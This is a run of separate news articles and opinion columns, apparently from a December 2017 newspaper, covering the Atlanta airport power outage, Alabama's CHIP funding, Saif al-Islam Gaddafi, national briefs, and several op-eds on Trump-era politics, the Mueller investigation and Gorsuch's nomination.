The Department of Homeland Security said federal officials do not think the outage was the result of an attack or other nefarious act. Cybersecurity investigators with the federal agency said they did not find a cyber nexus to this event. They added that the power failure did not cause lasting damage to the airports communications assets systems.

Meanwhile, airlines were focused on playing catch-up  particularly Delta Air Lines, which is responsible for nearly 80 percent of the flights at Hartsfield-Jackson, a hub in the nations air transportation network.

Delta brought in nearly 200 extra employees to help manage the crush of passengers and offered one-time fee waivers so affected travelers could rebook their tickets. Other carriers, including American Airlines, JetBlue Airways and United Airlines, quickly followed suit.

Television footage showed long lines of people waiting at ticket counters and in security screening lines.

Delta started Monday with 390 flight cancellations but by afternoon, Gil West, the airlines chief operating officer, said, things were nearly back to normal. The airline worked to clear the backlog of passengers by adding flights and finding seats on other airlines.

Indeed, Monday evening, the flight tracking website FlightAware.com listed virtually no flight cancellations for Hartsfield-Jackson on Tuesday.



A traveler scans the flight status display in Atlanta. (Jessica Mcgowan/Getty Images)

The quick recovery is important. Officials with the Transportation Security Administration expect Thursday and Friday to be the busiest pre-Christmas travel days, with more than 2.1 million passengers and crew members passing through screening checkpoints.

[Power outage paralyzes the worlds busiest airport]

The outage hit about 1 p.m. Sunday, plunging the airport into darkness, grounding nearly 1,000 flights and leaving 30,000 people stranded. International flights were diverted to other airports. Planes sat on the tarmac for more than six hours.

The terminal lost power but the control tower did not, according to the Federal Aviation Administration. However, tower operations were hampered because airport equipment in the terminal, including computers, wasnt working.

Videos posted on Twitter showed passengers using the lights on their cellphones to make their way through darkened concourses. Other photos shared on Twitter showed TSA officers carrying wheelchairs up stalled escalators.

Natalie Seitz, 23, of New York posted a video on Twitter about 90 minutes after the airport announced that it had lost power. "An emergency has been reported in the building," a mechanical voice kept saying, before instructing passengers to "stand by for further instructions," as emergency lights flashed.

"You walk around and hear people talking to each other and jokingly yelling at the PA system when it repeats the same thing," Seitz said.

Despite the criticism, FAA officials said the airport followed its emergency plan  a document that was reviewed and approved by the agency.

We will work closely with the airport in its post-incident investigation and further assess if the airport met its AEP, the agency said a statement.

[Power outage leaves thousands grounded in Atlanta]

Atlanta Mayor Kasim Reed (D) responded to questions about the airports power supply during a news conference Sunday night. Specifically, why was there no redundancy?

The straight answer to that question is: We absolutely do have a redundant power supply, Reed said. But because of the intensity of the fire, the switch that accesses the redundant system was damaged, which caused damage to two systems rather than one.

Georgia Power officials said that power was restored for all essential airport activities about 11:45 p.m., enabling flights to resume.

Officials said firefighters arrived about four minutes after the fire was first reported. It took about two hours to extinguish the blaze. Georgia Power officials said crews then had to wait for hazardous fumes and toxic smoke to clear before they could enter the tunnels and begin repair work.

In an appearance on "Good Morning America," on Monday, Georgia Power chief executive Paul Bowers said the investigation is expected to take the remainder of this week.

We have our investigators in the tunnel, he said.

Bowers said the utility will work with the airport to prevent a repeat of such an event. Among the strategies the company may consider: encasing the cables in concrete or putting the cables in separate areas.

Our focus is on reliability and making sure this never happens again, he said.

Marcia Hale, president of Building Americas Future, a bipartisan coalition of elected officials who advocate for infrastructure investment, said what happened in Atlanta is a reminder about the importance of investing in systems that keep people moving.

I do think Atlanta is a very unusual situation, but if what were being told is true and they had the backup right next to primary  well Im sure after action report will say that probably should not have happened. Its classic that the redundancy didnt work there. It just so highlights the need to modernize.

Nick Miroff and Faiz Siddiqui contributed to this report, and information from the Associated Press was used in this report.
Saif al-Islam, son of Libyas former strongman Muammar Gaddafi, is mulling participation in next year elections as requested by his supporters, his spokesman has said.

Saif al-Islam will run for the upcoming presidential elections, which may take place in mid-2018, Basem al-Hashimi al-Soul told Egyptian Egypt Today newspaper.

He enjoys the support of major tribes in Libya, so he can run.

Saif Islam, 44, has reportedly settled in the eastern part of the country after he was granted amnesty in June by Zintan militia which were detaining him.

The second of Gaddafis eight sons was arrested in 2011 after his father was deposed and killed in a NATO-backed revolution.

He is wanted by the International Criminal Court (ICC) for war crimes committed during the revolution. He is also wanted a by Tripoli-based court aligned with UN-backed Government of National Accord (GNA).

The UN in September unveiled an action plan to clear the way for general elections late next year in view of electing new leaders.

Unveiling the action plan, the UN envoy to the country, Ghassan Salame noted that any Libyan can run for the elections including Saif al-Islam.

In October, Saif al-Islams lawyer Khalid Al-Zaidi told media that his client was preparing his political comeback.

The Supreme Council of the Libyan Tribes, a body that has remained faithful to Gaddafis regime, but that is not recognized by the international community, has chosen Gaddafis son as the legitimate representative of the country.
Citing Congress failure to restore federal funding of the Childrens Health Insurance Program, Alabama plans to drop 7,000 kids from coverage on New Years Day, the first step to shutting down coverage for everyone, state officials said Monday.

Those children, who are up for their yearly renewal in January, will not be allowed to continue in the program, and the state also plans to freeze enrollment at the same time. Then, unless Congress acts, Alabama would close CHIP for all 84,000 children on Feb. 1.

Alabama would become the first state to cut off childrens coverage since Congress failed to renew federal CHIP funding, which expired Oct. 1.

This will be devastating for many families, said Cathy Caldwell, director of Alabamas CHIP program, which is marketed to families under the name All Kids.

Colorado, Virginia and other states recently began sending letters to parents notifying them that officials may soon have to curtail their CHIP programs.

Republicans and Democrats in Congress say they support the program, but they have not agreed on where to get the money to pay for it. A third of states anticipate exhausting CHIP funding by the end of January, according to a Kaiser Family Foundation report out earlier in December. (Kaiser Health News is an editorially independent program of the foundation.)

The Centers for Medicare & Medicaid Services, which oversees CHIP, has been redistributing billions in unspent funds during the past 2 months while lawmakers work on the issue to help states keep their programs running. CMS officials Monday did not respond to requests about when those dollars would run out.

Caldwell said Alabama estimated it would have enough money to cover claims made only through February. She said it made no sense to continue renewing coverage and adding new enrollees in January if CHIP would be ending a month later. About 7,000 children have their coverage renewed each month, she said.

Caldwell said she estimates most CHIP enrollees wont find affordable coverage without the program. Fewer than 10 percent would qualify for Medicaid, she said, and many families would find subsidized coverage for children in the Affordable Care Acts online marketplaces too costly because it often comes with higher premiums, copayments and deductibles.

Nationwide, CHIP covers more than 9 million kids  children typically from families not poor enough to qualify for Medicaid, the state-federal program that covers low-income people.

Income eligibility levels for CHIP vary widely among states, though most set thresholds at or below 200 percent of the poverty level, about $49,000 for a family of four. Alabama has one of the broadest eligibility levels  317 percent of the poverty level, or $78,000 for a family of four.

Unlike Medicaid, CHIP is usually not free. Enrolled families pay an average premium of about $127 a year.

Since CHIP's enactment, the share of uninsured children fell from 13.9 percent in 1997 to 4.5 percent in 2015, according to the Medicaid and CHIP Payment and Access Commission.

Alabamas rate fell from 20 percent to 2.5 percent, Caldwell said.

The Republican-controlled House has voted to extend the 20-year-old program for five years and would fund it by charging richer Medicare enrollees higher premiums and taking money from a public health fund created under the ACA. The Senate has not voted, but Democrats there also refuse to tie any CHIP extension to higher Medicare premiums or siphoning money from the public health fund.

Jim Carnes, policy director of ARISE Citizens' Policy Project, an Alabama advocacy group, said CHIP is one of the few areas of health policy in which Alabama has led the country.

Weve been called a shining star of the South, and this has really been a very efficient and effective program, he said. This will really be a huge blow.

He said freezing enrollment and ending coverage would undo years of expanded coverage. This sends a terrible message to families  and I can only hope that this decision [by Alabama] adds to the pressure on Congress to act, he said.

Caldwell said the last time Alabama froze enrollment in CHIP for several months, in 2004, it took several years to convince parents that the program had reopened.

Once we deny kids and disenroll kids, we know so many of them wont be able to get back on, she said.
FLORIDA

Trial postponed for death penalty review

The trial will be delayed until June for an Alaska man accused of killing five people and wounding six in a Florida airport shooting rampage, giving the Justice Department more time to decide whether to seek the death penalty, a federal judge ruled Monday.

The rescheduled trial date is June 11 for Esteban Santiago of Anchorage. It had been scheduled to begin Jan. 22, but U.S. District Judge Beth Bloom agreed with federal prosecutors that the lengthy federal death penalty review process requires more time.

Santiago, 27, pleaded not guilty to a 22-count indictment in the Jan. 6 shooting in a baggage area at Fort Lauderdale-Hollywood International Airport. Authorities say he retrieved a 9mm handgun he had taken on a flight in checked luggage, loaded it in a bathroom and came out firing randomly in the crowded terminal.

After the shooting, the FBI says Santiago told agents he acted under government mind control then claimed inspiration by Islamic State extremists. No terrorism links have been found.

Santiago, a National Guard Iraq War veteran, was briefly hospitalized in Alaska about two months before the airport shooting after complaining of mental problems but was released with no restrictions on possessing a gun.

 Associated Press

LOUISIANA

Soldier indicted after using chemical weapon

A soldier faces a federal charge in connection with an April explosion that released chlorine gas in a forest next to his Army base in Louisiana, the U.S. Attorneys Office said Monday.

Ryan Keith Taylor, 24, faces a charge of use of a chemical weapon, according to the indictment. Prosecutors said Taylor made a weapon and detonated it in the Kisatchie National Forest near Fort Polk in western Louisiana in April.

Court records show the indictment was returned last week and Taylor is in federal custody. He also was indicted in September on a federal child pornography possession charge. He pleaded not guilty in that case.

At the time of the incident, the Army said the soldier was detained after other soldiers reported that he had burned an unknown substance in an area of the forest used for training.

A hazardous materials team checked his vehicle and found a swimming pool disinfectant. That led to the evacuation of an apartment complex in the nearby community of New Llano. Louisiana media reported at the time that a search of the complex led to discovery of a pipe bomb, which was safely detonated.

 Associated Press

Pa. governor vetoes abortion bill: Pennsylvania Gov. Tom Wolf (D) has vetoed a bill passed by the Republican-controlled Legislature to limit abortions to the first 20 weeks of pregnancy, rejecting what Planned Parenthood says would have been the nation's most restrictive abortion law. Wolf signed the veto paperwork Monday in Philadelphia City Hall. Pennsylvania's current limit is 24 weeks. The 20-week limit would have kept in place exceptions under current law for when a mother's life or well-being is at risk. It had no exceptions for rape, incest or fetal abnormalities.

Woman, three children killed in N.Y. fire: A mother and three children, ages 11, 7 and 3, died early Monday in a fast-moving New York City house fire that also left the children's father and two teenagers in critical condition. Fire Commissioner Daniel Nigro said the cause was under investigation by fire marshals. Friends and neighbors said the family was known to light menorah candles in celebration of Hanukkah. The fire was reported around 2:30 a.m. in Brooklyn's Sheepshead Bay neighborhood. In all, nine people were in the house  the couple, their six children and a cousin.

 From news services
Joe Trippi and Paul Maslin served as media strategist and pollster, respectively, for the Jones for Senate campaign.

We had to be crazy to think there was a chance a Democrat could win an election in Alabama. And even crazier to believe that the key to victory might just be found in our candidates insistence on the simplest of messages. But with hostility growing and the partisan divide widening in Washington, Democratic Senate nominee Doug Jones wanted to talk about things that seemed to have stopped mattering  such as working together to solve our problems and finding common ground.

Was this even possible? We believed we were at a pivotal moment for Alabama and the nation. Our politics were coming apart  and what happened in Alabama would matter. Would the winner of the special election take us further down the path of chaos and division, or would Alabama help the nation realize that unity was not a pipe dream? Could Jones convince Republicans that he was sincere about the need to come together in the midst of tribal politics being driven by the likes of Republican nominee Roy Moore and President Trump? Would enough of them even listen? And if Jones could convince Republicans, would women, young people and African Americans turn out at the polls for someone delivering a message of reaching out to the other side? Could we ever thread all the needles necessary to win?

Jones and our campaign chose to use the chaos and tragedy of the Civil War to illustrate the danger of tribal politics in America. A 60-second October ad opening with two colonels  one from Alabama, one from Maine  battling for the high ground: Little Round Top, at Gettysburg, the key moment of perhaps the decisive battle of that war.

After describing the battle, whose participants desperately repelled attacks even after they ran out of ammunition, Jones spoke directly to the people of his state: I want to go to Washington, he said, and meet the representatives from Maine and those from every other state, not on a battlefield, but to find common ground. Because there is honor in compromise and civility, to pull together as a people and to get things done.

There is honor in compromise and civility. In the fall of 2017, with Trump as our president and Moore and Breitbart executive Stephen K. Bannon on the other side, Jones chose that as the core message he wanted to deliver to not just Alabamians but the nation.

And it worked. Within a couple of weeks of the ad's airing, the race narrowed to a dead heat. Moore was at 46 percent and Jones at 45 percent in the poll we finished the day before The Post published its article about Moore's alleged child molestation. (Media polls were all over the place in Alabama. But we were confident we were seeing the real race. Our feeling was upheld in our final track on election eve, which showed Jones about two points ahead  the margin he ultimately won by.) In the days after The Post article, we took the lead, and held on despite a furious late charge from Trump, the Republican National Committee and Bannon.

African Americans turned out gloriously to vote 96 percent for Jones. He also made serious inroads among white suburban women, millennials, independents and Republicans who had supported Luther Strange in the GOP primary runoff. And when the state's other senator, Republican Richard C. Shelby, publicly stated that he cast a write-in ballot, instead of voting for Moore, nearly 2 percent of voters followed suit.

We will never know whether Jones would have won without the revelations about Moores disturbing conduct. We are certain, however, that he could not have won without the powerful craving of people on both sides to become more unified as one nation. His victory should sound an alarm for Republicans in ruby-red states and congressional districts that they, too, could be in trouble. And both parties would do well to take seriously the growing frustrations among Americans with the parties attacks on each other.

In Alabama last Tuesday, an outpouring of voices joined together and took, as Jones said, a different road than the ones they have too often chosen in the past. For one shining moment, the New South rose to declare to a divided nation that, in the words of Abraham Lincoln, "we are not enemies, but friends." They did Alabama proud, surely, but they may also have done America a tremendous service. The question now is: Will Trump and other leaders in Washington stop fighting long enough to get the message?
Ken W. Cole is senior vice president for U.S. government relations for Pfizer.

On Dec. 5, Sens. Sheldon Whitehouse (D-R.I.) and Elizabeth Warren (D-Mass.) singled out Pfizer and UPS in an online op-ed for The Post titled "UPS and Pfizer's dirty little secret." In the piece, both senators acknowledged UPS and Pfizer's responsible record on climate change, but still criticized the companies for being associated with the American Legislative Exchange Council (ALEC). But their criticisms did not tell the full story.

Both Pfizer and UPS engage in policy discussions with numerous groups and associations across the political spectrum, none of whom we agree with on all issues, but with all of whom we actively engage and educate on our policy positions. An objectionable resolution proposed at ALEC's recent meeting to reopen the Environmental Protection Agency's 2009 endangerment finding for greenhouse gases was set to come to a vote the day after the senators' opinion piece was published. Both Pfizer and UPS were already working hard to defeat it because it conflicted with our vision of responsible environmental actions and sought to undermine efforts to address the critical issue of climate change. As a result of the engagement of companies such as ours, the resolution was rightfully withdrawn. We are pleased with that outcome.

Pfizer strongly opposed the resolution for a number of reasons, including the unsupported challenge to the science upon which the finding is based. As a science-based company, Pfizer has long recognized the health risks posed by climate change. We are proud of our sustained reductions in greenhouse-gas emissions since 2000 and are working diligently to meet our current, evidence-based, emissions reduction goal. Throughout the entire process, we consistently opposed the resolution and forcefully made our views known to ALEC staff and board members.

Pfizer firmly believes that we can be more effective in affecting policy on climate change at ALEC by strongly advocating for our principles from within the organization rather than from the outside. We have encouraged both public officials and private-sector representatives within ALEC to join us in this fight. By working together with other like-minded entities within ALEC, we have been successful on a number of issues.

Had we not been engaged within ALEC, we would not have had the chance to make our position known and be an agent of change. Operating in a silo rather than participating in a constructive debate only encourages the divide that works against advancing good policy positions.

Pfizer is a member of various organizations. Our participation as a member of these groups comes with the understanding that we may not always agree with all the positions of the larger organization or other members. We do believe there is value in making sure our position on issues important to Pfizer and our industry is understood within these organizations. Our engagement with ALEC is no different. We remain committed to raising our voice consistent with our position on climate change.
WORDS ARE power. Whether used to twist or reveal, language matters, especially that used by the people who govern a nation devoted to free speech. This is why it was such a shock to hear the Department of Health and Human Services instruct some of its divisions, including the Centers for Disease Control and Prevention, to avoid using certain words or phrases in official documents being drafted for next year's budget. It sounds like thought police at work.

If that judgment seems harsh, consider what happens in China, where thought police really exist. China routinely censors articles containing politically sensitive words such as "Taiwan," "Tibet" and "cultural revolution " from publications because it does not want its people to think about them. Writing about democracy could lead to trouble in Belarus, Cuba or Vietnam, too. In Russia, words that refer to gays positively can trigger a penalty. In Saudi Arabia, a blogger, Raif Badawi, sits in jail for his online appeal for a more liberal and secular society.

It is not a far stretch from these examples of misguided censorship abroad to the actions of the HHS language militia. According to Post reporters Lena H. Sun and Juliet Eilperin, policy types at the CDC in Atlanta were told of the list of forbidden terms at a meeting Dec. 14 during a 90-minute briefing to discuss the upcoming budget request. The terms prohibited to use are: "vulnerable," "entitlement," "diversity," "transgender," "fetus," "evidence-based" and "science-based." They also reported that in some cases, the policy folks were given alternatives; instead of "science-based" or "evidence-based," the suggested phrase is "CDC bases its recommendations on science in consideration with community standards and wishes." But in other cases, no replacement words were immediately offered.

The CDC's new director, Brenda Fitzgerald, replied that "there are no banned words at CDC." That's a relief, given the agency's mission, which includes acting as sentinel for public health, warning of threats and responding rapidly to meet them. But Ms. Fitzgerald's assurance does not ease concerns that higher-ups at HHS are insisting on banned words to enforce a political and ideological agenda. Why would they eliminate "vulnerable," "entitlement," "diversity" and "transgender" in a budget document other than to airbrush the ideas out of the underlying policy?

Just as distressing is the attempt to limit the use of evidence-based and science-based. Unfettered scientific research is vital for maintaining public health, even when the results are unpopular with some communities and points of view. Being able to talk about science is absolutely critical in, say, understanding the value of childhood vaccination in preventing the spread of measles. Fetus is a scientific word essential to exploring the impact of the Zika virus on the health of infants and pregnant women. And can there be an honest discussion of the health effects of climate change without science and evidence? Does anyone gain by hiding the truth these words express? No. Someone should tell the foolish thought police at HHS to stand down.
Saudi Arabia said it succeeded in destroying a missile fired by Houthi rebels targeting the Yamamah palace, the official residence of King Salman.

The Houthis Al Masirah TV said the missile was targeting the palace to project power and to mark the 1000-day anniversary since the Saudi-led coalition started bombing Yemen.

This is our answer to them and to the whole world, Abdulmalik al-Houthi, the rebels leader, said in a televised address.

A spokesperson for the Saudi-led coalition confirmed that a US-supplied Patriot batteries intercepted the Burkan-2 missile fired by the Houthis.

Witnesses in the Saudi capital said they had heard an explosion and posted videos on social media showing a cloud of smoke in the air.

On November 30, a ballistic missile fired by Yemens armed Houthi group at Saudi Arabia was shot down near the southwestern city of Khamis Mushait.

Saudi Arabia and its allies have often accused Iran with equipping its proxies in the region with missile. Iran denies arming the Houthis.
Columnist

A president with no concern for veracity or consistency has assured us he is not considering the firing of special counsel Robert S. Mueller III. This does not make the prospect even marginally less remote. And it has done little to inhibit the attempt by some conservatives to discredit the investigation.

On a move against Mueller and his office, the wind is thick with straws. Bob Goodlatte (R-Va.), chair of the House Judiciary Committee, warns: "We do not know the magnitude of this insider bias on Mr. Mueller's team." Sen. John Cornyn (R-Tex.) urges Mueller "to clean house of partisans" and wonders if the special counsel's final report will be legitimate. The Murdoch press  led in silly shrillness by Fox News personalities  continues to trash the reputation of Mueller and his associates.

At one level, this is "whataboutism" run amok. What about Bill and Hillary Clinton? Didn't they ruthlessly discredit Ken Starr and his investigation? Why should Republicans hobble themselves with scruples?

But here is a difference. Bill Clinton and his defenders were accusing an investigator of being a power-mad prig. Some of Trump's defenders are claiming, in effect, that the FBI is engaged in a "coup d'etat" (the words of Florida Republican Rep. Matt Gaetz)  a politically motivated attempt to reverse the results of the 2016 election. Their evidence? That some senior investigators donated to Democrats, supported Hillary Clinton and called Trump an "idiot."

If that last charge were considered a disqualification, we would have the political equivalent of the Rapture (including, apparently, some of the Cabinet). But the larger point is this: Trump Republicans are willing to smear a man of genuine integrity, and undermine confidence in federal law enforcement, for reasons they must know are thin to the point of transparency. This is beyond cynicism. It is institutional arson. This is the profoundly anti-conservative strategy of Trump supporters against any institution (the courts, the media, law enforcement) that exposes the administrations deception and corruption: Burn, baby, burn.

Because Mueller is inexorable, the desperation in Trump world is palpable. We know that senior officials in the Trump campaign wanted to collude with the Russians in order to influence the election. (Donald Trump Jr. has admitted meeting with a Russian lawyer in June 2016 to get damaging information on Hillary Clinton.) We know that Russian intelligence had the means to influence the election, hacked from a variety of sources. We know that Trump officials tried to conceal their contacts with the Russians, while seeking policy changes favorable to Russian interests. We know (on the credible testimony of a former FBI director) that President Trump tried to shut the investigation of these matters down. And it is a good bet that Mueller knows far more about all of this than we do.

As the investigation seems to be closing in on members of the Trump family, the president has a variety of options, all with serious risks. He might be able (it is debated among legal scholars) to fire Mueller directly. But unless he also abolishes the special counsel's office, FBI officials would continue to investigate any crimes they have discovered. Other precedent would require Trump first to fire Deputy Attorney General Rod J. Rosenstein (to whom Mueller reports), then (probably after a cascade of Justice Department resignations) find a stooge willing to fire Mueller. This would be a direct assault on the autonomy and integrity of the FBI, which still has defenders on Capitol Hill.

Or Trump could do a preemptive pardon of individuals being investigated. This would look deeply corrupt  like an admission of guilt written in neon  and there are serious legal issues surrounding a presidential self-pardon. This option would put the tolerance of Hill Republicans for executive lawlessness to the test. Is there any limit to their capacity for servility? The frog is in the pot, and it nears a boil.

If Trump takes any of these aggressive actions, it will define his presidency, exaggerate social division and throw American public life into chaos. At that point, he will deserve impeachment, whether he is impeached or not. (That will be determined not by the degree of the offenses but by which party controls the House of Representatives.)

Behind all this is a nagging fear. Other presidents would be restrained by the prospect of social division and political chaos. For Trump, these may be incentives. He seems to thrive in bedlam. But the anarchy that sustains him damages the institutions around him  a cost for which he cares nothing.

Read more from Michael Gerson's archive, follow him on Twitter or subscribe to his updates on Facebook .
Columnist

The presidency was never meant to be a profit center for a nepotistic, money-grubbing family. But that was before the Trumps moved in.

This scandal is lying in plain sight, overlooked because of the constant stream of missteps, outrages and distractions that come and go at an exhausting pace. While everyone watches his Twitter feed, President Trump is using the White House like a marketing agency for his family brand. This is not normal or acceptable  and it surely isn't what laid-off factory workers and coal miners had in mind when they jumped on the "populist" Trump train.

Last week, Ivanka Trump opened a retail store inside Trump Tower, her father's New York skyscraper, to sell her eponymous foreign-made handbags and other items. We can now finally dispense with the notion that she is an "unpaid" adviser to the president.

It's not a very big store  more of a glorified kiosk, really  but the conflict of interest is obvious. She and her husband, Jared Kushner, are in positions where they can influence U.S. policy toward the countries where her products are made, such as China, Indonesia, Vietnam, India and Bangladesh. The store is located where it can siphon money from Trump-supporting tourists who make pilgrimages to Trump Tower while visiting the sights of Manhattan.

[Trump thrives in destructive chaos]

This is just the latest example of how the Trump family is seeking to monetize the presidency. We haven't seen anything like it since 1977, when Jimmy Carter's brother started hawking Billy Beer. (President Carter, at least, had the decency to be embarrassed.)

As is the case with other family members, including the president, Ivanka Trump has refused to divest herself of her business interests. Instead, the Trumps and Kushner have put them into trusts  but in a way that provides not even a fig leaf of probity.

That's because the businesses  including the Trump Organization, the president's umbrella enterprise  are still operating and are being run by family members whose aims are pecuniary, not patriotic. Do you believe for a moment that Trump pays no attention to how his sons, Donald Jr. and Eric, are handling his company? Or that Ivanka Trump and Kushner are unaware of what his siblings are doing with the troubled Kushner family real estate empire and Ivanka's fashion line? I don't.

Consider this sequence of events: Trump is elected president in November 2016. The membership initiation fee at his Palm Beach club, Mar-a-Lago, doubles to $200,000 in January 2017. Following his inauguration, Trump spends 34 days thus far  fully one-tenth of his presidency  at Mar-a-Lago, mixing freely with members in a setting hidden from the prying eyes of the news media.

If you had a corporate or private cause to plead with the president of the United States, and you had ample resources, might you consider a $200,000 Mar-a-Lago membership a promising investment? I think you might.

The Trump International Hotel in Washington, just down Pennsylvania Avenue from the White House, has become what The Post called "a kind of political clubhouse" for Trump associates and organizations, such as political action committees, that support the Trump agenda. Last month, for example, the Trump 2020 campaign held a "VIP reception" there that cost $30,000, according to The Post, and featured deviled eggs and lobster BLTs.

[The emergencies the GOP is ignoring]

Plenty of other nearby hotels could have hosted such an event  the W, the Willard, the J.W. Marriott. The campaign just happened to choose one whose profits accrue to the presidents bottom line.

Likewise, for some reason, the Trump International has become a popular place for foreign delegations to stay while visiting Washington. Many legal scholars believe this line of business violates the emoluments clause of the Constitution prohibiting federal officials from receiving gifts or profits from foreign governments. At least three lawsuits have been filed seeking clarification from the courts.

It is true that Trump and his family have lost some business. Many if not most of the charities that once used Mar-a-Lago for their annual galas have decided to go elsewhere this year. Ivanka Trump's product line was dropped by Nordstrom and Neiman Marcus because of low sales. Skittish investors have backed away from deals that could rescue Kushner from his potentially ruinous $1.8 billion purchase of a white-elephant Fifth Avenue office building.

But the presidency isnt supposed to be a matter of pluses and minuses on a balance sheet. The president campaigned on a pledge to clean up Washington. Instead, he has created a huge new federally protected wetland  the Trump Family Swamp Inc.

Read more from Eugene Robinson's archive, follow him on Twitter or subscribe to his updates on Facebook. You can also join him Tuesdays at 1 p.m. for a live Q&A.
Columnist

The cover of what was once Time magazine's "Man of the Year" is now six women  "the silence breakers" who spoke up about sexual harassment. This was a worthy choice, but it is not the one I would have made. I would have picked Oliver Schmidt. He took a bullet for Volkswagen.

Schmidt, 48, was sentenced this month in Detroit to seven years in prison for his role in implementing and covering up VW's plan to cheat on diesel emissions tests. Amazingly, Schmidt, a German citizen, wrote to the judge that he was merely following orders. For that, he should have gotten another year.

To understand why Schmidt is my Person of the Year, you have to envision him in prison being quizzed by his fellow cons. What are you in for, they ask  murder, rape, arson, theft, embezzlement, tax evasion? He keeps shaking his head. Finally, to their amazement, he says, I lied for Volkswagen. The place erupts with laughter.

In the same way, the children of tomorrow will ask todays politicians why they either lied for Donald Trump or failed to denounce him. The politicians will say that they needed to get reelected or were hoping that some obscure bill they had been pushing for years would become law. But the kids will say, What about Americas moral standing? What about the obligation to be truthful and to unite the nation? What about whats on all those memorials in Washington?

Schmidt, at least, had to face the ugly facts. You viewed the cover-up as an opportunity to shine and climb up the corporate ladder, the judge said at his sentencing. Schmidt had to agree. The former VW executive cited a 2015 meeting with Californias Air Resources Board during which he concealed that VW was cheating on emissions tests. His bosses gave him a script, or talking points, he said in a letter to the court. Regrettably, I agreed to follow it.

This could be the lament of Trump's Washington. America is off on a moral bender in which the lie has become the functional equivalent of the truth. Trump set the standard at his first Cabinet meeting. "Never has there been a president, with few exceptions . . . who's passed more legislation, who's done more things than what we've done," Trump preposterously said.

Heads nodded all around, and Trump was slobbered with praise. Reince Priebus, for a moment the White House chief of staff, said, We thank you for the opportunity and the blessing that you have given us to serve your agenda. That agenda, apparently, included the firing of the obsequious Priebus, but at that meeting he summed things up. The president expected praise. The president got praise. With the exception of Defense Secretary Jim Mattis, not a person in the room had the integrity or self-respect not to grovel. Honesty was not on the agenda.

It is not much different in Congress. Yes, here and there a Republican has stood up to Trump  Sen. Jeff Flake (Ariz.), Sen. Bob Corker (Tenn.), Sen. John McCain (Ariz.) and, episodically, Sen. Lindsey O. Graham (S.C.)  but most of their colleagues have been mute. Unlike Corker and Flake, they have reelection in mind. In other words, they have put their career or some obscure policy agenda ahead of their conscience  as if the passage of this or that bill compensates for accepting moral corruption.

Events come at us on a minute-to-minute basis  "breaking news," in the signature hyperbole of CNN. But it's worth pausing to consider that the president of the United States backed the candidacy of Roy Moore, a credibly accused child molester, a fulsome liar, an intolerant religious zealot and a trafficker in racist symbolism, along with a repellent nostalgia for the antebellum South, slavery included. He got the president's endorsement.

Trump had his reasons  his agenda. As always with him, it took precedence over moral leadership and common decency  and tarnished the party he leads. Some Republican members of Congress spoke out but then clammed up. The presidents endorsement was met with a roar of silence. Trumps overriding accomplishment is plain: The Republican Party can no longer be shamed.

Oliver Schmidt is not the first corporate executive to lie for his company. He said he did what VW expected. In the Trump era, that hardly marks him as unique  just another morally hollow person who sacrificed his integrity for petty gain. If he took a place in the Cabinet or a seat in Congress, he would be among like-minded people. He is my man of the year because he is  like them  hardly a man at all.

Read more from Richard Cohen's archive.
For nearly eight months, President Trump has boasted that appointing Neil M. Gorsuch to the Supreme Court ranks high among his signature achievements.

But earlier this year, Trump talked about rescinding Gorsuchs nomination, venting angrily to advisers after his Supreme Court pick was critical of the presidents escalating attacks on the federal judiciary in private meetings with legislators.

Trump, according to several people with knowledge of the discussions, was upset that Gorsuch had pointedly distanced himself from the president in a private February meeting with Sen. Richard Blumenthal (D-Conn.), telling the senator he found Trumps repeated attacks on the federal judiciary disheartening and demoralizing.

The president worried that Gorsuch would not be loyal, one of the people said, and told aides that he was tempted to pull Gorsuchs nomination  and that he knew plenty of other judges who would want the job.

It is unclear whether Trumps explosion, as another administration official described it, truly put Gorsuchs nomination in jeopardy or whether the president was expressing his frustration aloud, as he often does. But at the time, some in the White House and on Capitol Hill feared that Gorsuchs confirmation  which had been shaping up to be one of the clearest triumphs of Trumps tumultuous young presidency  was on the verge of going awry.



Sen. Richard Blumenthal D-Conn.) ushers Neil M. Gorsuch into his office on Feb. 8. Behind Gorsuch is former senator Kelly Ayotte R-N.H.). (Alex Wong/Getty Images)

Trump blasted The Washington Post report on Gorsuch as "FAKE NEWS" on Twitter early Tuesday. "I never even wavered and am very proud of him and the job he is doing as a Justice of the U.S. Supreme Court," he tweeted. "The unnamed sources don't exist!"

This account is based on interviews with 11 people familiar with the episode, some of whom spoke on the condition of anonymity to discuss private deliberations.

Trump was especially upset by what he viewed as Gorsuchs insufficient gratitude for a lifetime appointment to the nations highest court, White House officials said. The judge sent the president a handwritten letter dated March 2, thanking him for the nomination and explaining how grateful he was, according to a copy obtained by The Post.

Your address to Congress was magnificent, Gorsuch wrote. And you were so kind to recognize Mrs. Scalia, remember the justice, and mention me. My teenage daughters were cheering the TV!

The reference to the justice was to Antonin Scalia, the late justice whom Gorsuch replaced, and Mrs. Scalia is his widow, Maureen.

Aides said Trump did not immediately receive the note, but it was retrieved by legislative affairs director Marc Short and then viewed by Trump on March 10, helping ease his concerns.

As head of legislative affairs, our team was in charge of his nomination, and never did I view his nomination in jeopardy, nor did the president ever suggest to me that he wanted to pull him, Short said. The process obviously caused frustration, but that frustration was compounded by the fact that Gorsuch had sent him a personal letter that he never received.



President Trump watches as Supreme Court Justice Neil Gorsuch hugs his wife, Marie Louise, moments after Supreme Court Justice Anthony M. Kennedy administered the judicial oath in the Rose Garden of the White House on April 10. (Jabin Botsford/The Washington Post)

Gorsuch, through a spokeswoman, declined to comment.

The presidents nomination of Neil M. Gorsuch was among his first and most important accomplishments during his first year in office, and delivered on a major campaign promise, White House spokesman Raj Shah said in a statement. At no point did the president consider withdrawing Justice Gorsuchs nomination. He is very proud of the accomplishment.

Advisers also told Trump that Gorsuch was trying to demonstrate the independence necessary to make it through the confirmation process and that pulling the nomination would have far-reaching repercussions and might infuriate supporters who were enthusiastic about the conservative jurist.

In April, two months after Trump first expressed his ire, the Senate confirmed Gorsuch on a vote of 54 to 45. Trump and his allies promptly began boasting about the appointment as one of the presidents major achievements.

The incident that so angered Trump came shortly after a federal judge had issued a nationwide stop to the president's travel ban targeting a list of majority-Muslim countries. At the time, the president disparaged the "so-called judge" on Twitter, writing that the ruling "put our country in such peril."

If something happens blame him and court system, Trump wrote. People pouring in. Bad!

Trump had additionally said that a panel of the U.S. Court of Appeals for the 9th Circuit that held oral arguments to review the judges order was disgraceful and that the judges cared more about politics than following the law.

Gorsuch, meanwhile, was moving through the confirmation process, doing rounds of courtesy meetings with senators on Capitol Hill  including the one with Blumenthal, which quickly became news after the senator shared their private discussion with reporters.

